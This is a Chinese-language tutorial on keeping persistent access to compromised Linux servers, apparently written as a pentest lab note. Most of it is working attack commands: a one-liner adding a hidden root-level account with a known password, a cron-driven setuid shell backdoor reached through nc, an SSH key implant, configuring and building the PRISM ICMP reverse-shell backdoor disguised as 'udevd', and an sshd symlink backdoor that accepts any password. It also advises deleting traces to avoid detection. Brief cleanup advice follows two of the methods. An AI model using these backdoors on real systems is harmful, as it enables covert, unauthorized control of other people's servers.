Linux權限維持
環境:Centos7、Kali虛擬機等
1、增加超級用戶
useradd -p `openssl passwd -1 -salt 'salt' 123456` test -o -u 0 -g root -G root -s /bin/bash -d /home/test
通過命令創建了test 123456的超級用戶
2、unix bash遠控後門
先創建/etc/...腳本文件
授予權限chmod +sx /etc/...
修改/etc/crontab,加入*/1 * * * * root /etc/xxxx,讓它每一分鐘執行一次
重啓crond服務,systemctl restart crond
在自己的機器用nc接收shell
3、ssh公鑰免密
通過把公鑰添加到被控端的authorized_keys裏面就能實現免密登錄
但是隻要運維不傻,這個還是很容易被發現的
4、ICMP後門
在控制端下載腳本:git clone https://github.com/andreafabrizi/prism.git
git下來之後,還需要進行編輯操作
先編輯prism.c,修改宏定義部分:
40 #ifdef STATIC
41 # define REVERSE_HOST "10.0.0.1" //連接到主控機的IP地址
42 # define REVERSE_PORT 19832 //連接到主控機的端口號
43 # define RESPAWN_DELAY 15 //後門機嘗試連接的空閒時間間隔
44 #else
45 # define ICMP_PACKET_SIZE 1024 //ICMP數據包的大小
46 # define ICMP_KEY "linger" //連接的密碼
47 #endif
48
49 #define VERSION "0.5" //版本信息
50 #define MOTD "PRISM v"VERSION" started\n\n# " //後門機連接時顯示的消息
51 #define SHELL "/bin/sh" //shell執行的位置
52 #define PROCESS_NAME "udevd" //創建的進程名稱
交叉編譯prism後門
gcc <..OPTIONS..> -Wall -s -o prism prism.c
可用的參數<OPTION>選項:
-DDETACH //後臺運行
-DSTATIC //只用STATIC模式(默認是ICMP模式)
-DNORENAME //不再重命名進程名
-DIPTABLES //清除所有iptables規則表項
如:gcc -DDETACH -DNORENAME -Wall -s -o prism prism.c
編譯好之後把prism上傳到遠程後門主機,再運行sendPacket.py腳本,需要root權限。最好就是將prism.c文件上傳到後門主機再進行編譯,這樣更容易成功。
在攻擊者機器上運行nc等待後門的連接:nc -l -p 6666
使用sendPacket.py腳本(或其他數據包生成器)將激活數據包發送到後門:
./sendPacket.py 192.168.30.141 123456 192.168.30.131 6666
192.168.30.141 是運行棱鏡後門的受害者機器
123456是密鑰
192.168.30.131是攻擊者機器地址
6666是攻擊者機器端口
這種後門方式對於採用了很多限制比如限制了ssh的遠程服務器來說,是比較不錯的,而且prism服務端運行後會在後門一直運行,除非重啓服務器。所以運行後門後刪除自身文件將不容易被發現。
清除方式
因爲該後門重啓會失效,除非寫在開機啓動項裏,所以首先要檢查啓動項有沒有異常情況,比如/etc/rc.local是否有未知的啓動腳本
其次,這個後門可以改變後門進程名,但是還是有進程存在,所以要查出這個未知進程,可以用工具查找,kill掉
然後,該後門是使用了icmp的ping包激活的,所以可以過濾icmp包
最後,需要設置好嚴格的iptables規則,這個後門可以按照攻擊者的設置嘗試清楚iptables規則,需要定期查看iptables規則是否正常。
5、ssh軟鏈接後門
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
關鍵在於-oPort=5555開啓了一個端口爲5555的服務
直接ssh連接5555端口,密碼隨便輸入,但是有些機器是限制了遠程登錄ssh的賬號
主要是利用了sshd的pam認證,調用/etc/pam.d/su
清除方式
netstat -anopt
查看相關pid、tmp/su權限、kill pid、刪除tmp/su